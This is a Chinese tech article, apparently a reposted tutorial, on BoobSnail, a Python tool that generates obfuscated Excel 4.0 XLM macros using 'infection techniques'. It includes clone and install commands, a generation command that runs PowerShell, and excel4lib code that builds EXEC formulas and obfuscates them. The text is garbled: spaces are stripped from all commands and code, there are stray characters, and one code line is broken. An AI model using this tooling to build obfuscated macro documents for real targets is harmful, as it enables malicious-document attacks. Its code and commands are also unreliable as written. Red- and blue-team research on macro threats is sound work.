当前位置: 首页 > 科技观察

如何使用BoobSnail生成任意Excel4.0XLM宏文件

时间:2023-03-14 20:59:41 科技观察

关于BoobSnailBoobSnail可以帮助研究人员生成XLM(Excel4.0)宏文件。该工具可以帮助红队和蓝队研究人员完成XLM宏生成任务。该工具支持的功能如下:各种感染技术;各种代码混淆技术;将公式翻译成英语以外的语言;可以用作代码库,以便研究人员可以编写自己的生成器;工具可供研究人员下载以下命令将项目源码克隆到本地:gitclonehttps://github.com/STMCyber??/boobsnail.git该工具依赖BoobSnail基于Python3开发,所以我们需要安装配置本地设备上的Python3.8.7rc1环境。接下来,运行以下命令为该工具安装所需的依赖项:pipinstall-rrequirements.txtpythonboobsnail.py___.___._________.__.__\_|__________\_|__/_____/_________|__|||__\/_\/_\|__\\_____\/\__\||||\_\(<_>|<_>)\_\\/\|\/__\|||__|___/\____/\____/|___/_______/___|(____/__|____/\/\/\/\/\/Author:@_mzer0@stm_cyber(...)使用pythonboobsnail.py显示的工具-h可用的生成器类型:pythonboobsnail.py工具使用示例生成注入x64或x86的代码混淆宏运行calc.exe:pythonboobsnail.pyExcel4ExecGenerator--cmd"powershell.exe-ccalc.exe"--outboobsnail.csv代码库使用BoobSnail使用excel4lib库来支持创建我们自己的Excel4宏生成器。excel4lib库包含几个可在创建生成器的过程中使用的类:macro.Excel4Macro:允许定义Excel4公式和变量值;macro.obfuscator.Excel4Obfuscator:允许混淆Excel4宏中的指令代码;郎。Excel4Translator:允许将公式翻译成其他语言;下面给出的示例将创建一个能够运行calc.exe的简单宏:fromexcel4lib.macroimport*#Createmacroobjectmacro=Excel4Macro("test.csv")#Addvariablecalledcmdwithvalue"calc.exe"totheworksheetcmd=macro.variable("cmd","calc.exe")#AddEXECformulawithargumentcmdmacro.formula("EXEC",cmd)#DumptoCSVprint(macro.to_csv())结果如下:cmd="calc.exe";=EXEC(cmd);如果要混淆宏,需要导入混淆工具,传入Excel4Macro对象:fromexcel4lib.macroimport*fromexcel4lib.macro.obfuscatorimport*#Createmacroobjectmacro=Excel4Macro("test.csv",obfuscator=Excel4Obfuscator())#Addvariablecalledcmdwithvalue"calc.exe"totheworksheetcmd=macro.variable("cmd","calc.exe")#AddEXECformulawithargumentcmdmacro.formula("EXEC",cmd)#DumptoCSVprint(macro.to_csv())如果你需要翻译你的宏对于其他语言,假设是波兰语(目前该工具只支持英语和波兰语),我们需要导入Excel4Translator类,调用set_language方法:fromexcel4lib.macroimport*fromexcel4lib.lang.excel4_translatorimport*#ChangelanguageExcel4Translator.set_language("pl_PL")#Createmacroobjectmacro=Excel4Macro("test.csv",obfuscator=Excel4Obfuscator())#Addvariablecalledcmdwithvalue"calc.exe"totheworksheetcmd=macro.variable("cmd","calc.exe")#AddEXECformulawithargumentcmdmacro.formula("EXEC",cmd)#DumptoCSVprint(macro.to_csv())的结果如下:cmd="calc.exe";=URUCHOM.PROGRAM(cmd);如果需要创建可以接受其他公式作为参数的公式,需要使用Excel4Macro.argument函数:fromexcel4lib.macroimport*macro=Excel4Macro("test.csv")#Addvariablecalledcmdwithvalue"calc"totheworksheetcmd_1=macro.variable(“cmd”,“calc”)#Addcellcontaining.exeasvaluecmd_2=macro.value(“.exe”)#CreateCONCATENATEformulathatCONCATENATEscmd_1andcmd_2exec_macro.argument(“CONCATENATE”,cmd_1,cmd_2)macro.formula("EXEC",exec_arg)#DumptoCSVprint(macro.to_csv())结果如下:cmd="calc";.exe;=EXEC(CONCATENATE(cmd,R2C1));项目地址BoobSnail:[GitHub传送门]